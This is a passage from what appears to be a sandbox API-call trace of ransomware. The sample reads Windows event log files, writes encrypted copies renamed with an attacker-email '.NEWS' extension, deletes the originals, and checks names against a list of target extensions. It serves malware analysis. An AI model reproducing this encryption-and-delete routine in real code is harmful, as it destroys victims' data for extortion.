dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0079.843] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.843] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.843] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0079.843] GetLastError () returned 0x0 [0079.843] ReadFile (in: hFile=0x384, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.034] WriteFile (in: hFile=0x378, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.036] ReadFile (in: hFile=0x384, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.037] WriteFile (in: hFile=0x378, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x12e, lpOverlapped=0x0) returned 1 [0080.037] SetEndOfFile (hFile=0x378) returned 1 [0080.037] CloseHandle (hObject=0x378) returned 1 [0080.039] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.039] SetEndOfFile (hFile=0x384) returned 1 [0080.040] CloseHandle (hObject=0x384) returned 1 [0080.041] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.041] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 1 [0080.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0080.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0080.041] lstrlenW (lpString=".doc") returned 4 [0080.041] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.041] lstrlenW (lpString=".docx") returned 5 [0080.041] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.041] lstrlenW (lpString=".pdf") returned 4 [0080.041] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.041] lstrlenW (lpString=".xls") returned 4 [0080.041] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.042] lstrlenW (lpString=".xlsx") returned 5 [0080.042] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.042] lstrlenW (lpString=".ppt") returned 4 [0080.042] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.042] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0080.042] lstrlenW (lpString=".zip") returned 4 [0080.042] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.042] lstrlenW (lpString=".rar") returned 4 [0080.042] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.042] lstrlenW (lpString=".bz2") returned 4 [0080.042] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.042] lstrlenW (lpString=".7z") returned 3 [0080.042] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.042] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0080.042] lstrlenW (lpString=".dbf") returned 4 [0080.042] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.042] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0080.042] lstrlenW (lpString=".1cd") returned 4 [0080.042] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.042] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0080.042] lstrlenW (lpString=".jpg") returned 4 [0080.042] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.042] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0080.042] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0080.042] lstrlenW (lpString=".doc") returned 4 [0080.042] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.042] lstrlenW (lpString=".docx") returned 5 [0080.042] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.042] lstrlenW (lpString=".pdf") returned 4 [0080.042] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.042] lstrlenW (lpString=".xls") returned 4 [0080.042] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.042] lstrlenW (lpString=".xlsx") returned 5 [0080.042] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.042] lstrlenW (lpString=".ppt") returned 4 [0080.042] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.043] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0080.043] lstrlenW (lpString=".zip") returned 4 [0080.043] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.043] lstrlenW (lpString=".rar") returned 4 [0080.043] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.043] lstrlenW (lpString=".bz2") returned 4 [0080.043] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.043] lstrlenW (lpString=".7z") returned 3 [0080.043] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.043] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0080.043] lstrlenW (lpString=".dbf") returned 4 [0080.043] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.043] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0080.043] lstrlenW (lpString=".1cd") returned 4 [0080.043] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.043] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0080.043] lstrlenW (lpString=".jpg") returned 4 [0080.043] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.043] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.043] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Operational.evtx") returned 45 [0080.043] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0080.044] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69632) returned 1 [0080.044] CloseHandle (hObject=0x384) returned 1 [0080.044] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20 [0080.044] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.044] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0080.044] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.044] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.044] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0080.045] GetLastError () returned 0x0 [0080.045] ReadFile (in: hFile=0x384, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.048] WriteFile (in: hFile=0x378, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.050] ReadFile (in: hFile=0x384, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.050] WriteFile (in: hFile=0x378, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x12e, lpOverlapped=0x0) returned 1 [0080.050] SetEndOfFile (hFile=0x378) returned 1 [0080.050] CloseHandle (hObject=0x378) returned 1 [0080.053] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.053] SetEndOfFile (hFile=0x384) returned 1 [0080.054] CloseHandle (hObject=0x384) returned 1 [0080.054] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.054] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 1 [0080.054] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0080.054] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0080.054] lstrlenW (lpString=".doc") returned 4 [0080.055] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.055] lstrlenW (lpString=".docx") returned 5 [0080.055] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.055] lstrlenW (lpString=".pdf") returned 4 [0080.055] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.055] lstrlenW (lpString=".xls") returned 4 [0080.055] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.055] lstrlenW (lpString=".xlsx") returned 5 [0080.055] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.055] lstrlenW (lpString=".ppt") returned 4 [0080.055] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0080.055] lstrlenW (lpString=".zip") returned 4 [0080.055] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.055] lstrlenW (lpString=".rar") returned 4 [0080.055] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.055] lstrlenW (lpString=".bz2") returned 4 [0080.055] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.055] lstrlenW (lpString=".7z") returned 3 [0080.055] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0080.055] lstrlenW (lpString=".dbf") returned 4 [0080.055] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0080.055] lstrlenW (lpString=".1cd") returned 4 [0080.055] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0080.055] lstrlenW (lpString=".jpg") returned 4 [0080.055] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0080.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0080.055] lstrlenW (lpString=".doc") returned 4 [0080.055] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.055] lstrlenW (lpString=".docx") returned 5 [0080.055] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.055] lstrlenW (lpString=".pdf") returned 4 [0080.056] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.056] lstrlenW (lpString=".xls") returned 4 [0080.056] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.056] lstrlenW (lpString=".xlsx") returned 5 [0080.056] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.056] lstrlenW (lpString=".ppt") returned 4 [0080.056] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.056] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0080.056] lstrlenW (lpString=".zip") returned 4 [0080.056] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.056] lstrlenW (lpString=".rar") returned 4 [0080.056] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.056] lstrlenW (lpString=".bz2") returned 4 [0080.056] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.056] lstrlenW (lpString=".7z") returned 3 [0080.056] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.056] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0080.056] lstrlenW (lpString=".dbf") returned 4 [0080.056] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.056] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0080.056] lstrlenW (lpString=".1cd") returned 4 [0080.056] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.056] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0080.056] lstrlenW (lpString=".jpg") returned 4 [0080.056] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.056] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.056] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Security.evtx") returned 42 [0080.056] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0080.057] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69632) returned 1 [0080.057] CloseHandle (hObject=0x384) returned 1 [0080.057] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20 [0080.057] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.057] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0080.057] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.057] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.057] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0080.058] GetLastError () returned 0x0 [0080.058] ReadFile (in: hFile=0x384, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.060] WriteFile (in: hFile=0x378, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.062] ReadFile (in: hFile=0x384, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.062] WriteFile (in: hFile=0x378, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x128, lpOverlapped=0x0) returned 1 [0080.062] SetEndOfFile (hFile=0x378) returned 1 [0080.062] CloseHandle (hObject=0x378) returned 1 [0080.065] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.065] SetEndOfFile (hFile=0x384) returned 1 [0080.066] CloseHandle (hObject=0x384) returned 1 [0080.066] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.066] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 1 [0080.067] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0080.067] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0080.067] lstrlenW (lpString=".doc") returned 4 [0080.460] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.461] lstrlenW (lpString=".docx") returned 5 [0080.461] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.461] lstrlenW (lpString=".pdf") returned 4 [0080.461] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.461] lstrlenW (lpString=".xls") returned 4 [0080.461] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.461] lstrlenW (lpString=".xlsx") returned 5 [0080.461] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.461] lstrlenW (lpString=".ppt") returned 4 [0080.461] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.461] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0080.461] lstrlenW (lpString=".zip") returned 4 [0080.461] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.461] lstrlenW (lpString=".rar") returned 4 [0080.461] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.461] lstrlenW (lpString=".bz2") returned 4 [0080.461] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.461] lstrlenW (lpString=".7z") returned 3 [0080.461] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.461] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0080.461] lstrlenW (lpString=".dbf") returned 4 [0080.461] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.461] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0080.461] lstrlenW (lpString=".1cd") returned 4 [0080.461] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.461] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0080.461] lstrlenW (lpString=".jpg") returned 4 [0080.461] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.461] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0080.461] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0080.461] lstrlenW (lpString=".doc") returned 4 [0080.462] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.462] lstrlenW (lpString=".docx") returned 5 [0080.462] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.462] lstrlenW (lpString=".pdf") returned 4 [0080.462] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.462] lstrlenW (lpString=".xls") returned 4 [0080.462] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.462] lstrlenW (lpString=".xlsx") returned 5 [0080.462] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.462] lstrlenW (lpString=".ppt") returned 4 [0080.462] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.462] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0080.462] lstrlenW (lpString=".zip") returned 4 [0080.462] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.462] lstrlenW (lpString=".rar") returned 4 [0080.462] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.462] lstrlenW (lpString=".bz2") returned 4 [0080.462] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.462] lstrlenW (lpString=".7z") returned 3 [0080.462] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.462] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0080.462] lstrlenW (lpString=".dbf") returned 4 [0080.462] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.462] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0080.462] lstrlenW (lpString=".1cd") returned 4 [0080.462] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.462] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0080.462] lstrlenW (lpString=".jpg") returned 4 [0080.462] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.463] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0080.463] lstrlenW (lpString="Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 45 [0080.463] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0080.463] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69632) returned 1 [0080.463] CloseHandle (hObject=0x38c) returned 1 [0080.463] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20 [0080.464] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.464] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0080.464] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.464] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.464] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0080.465] GetLastError () returned 0x0 [0080.465] ReadFile (in: hFile=0x38c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0080.468] WriteFile (in: hFile=0x2c4, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0080.471] ReadFile (in: hFile=0x38c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.471] WriteFile (in: hFile=0x2c4, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x12e, lpOverlapped=0x0) returned 1 [0080.471] 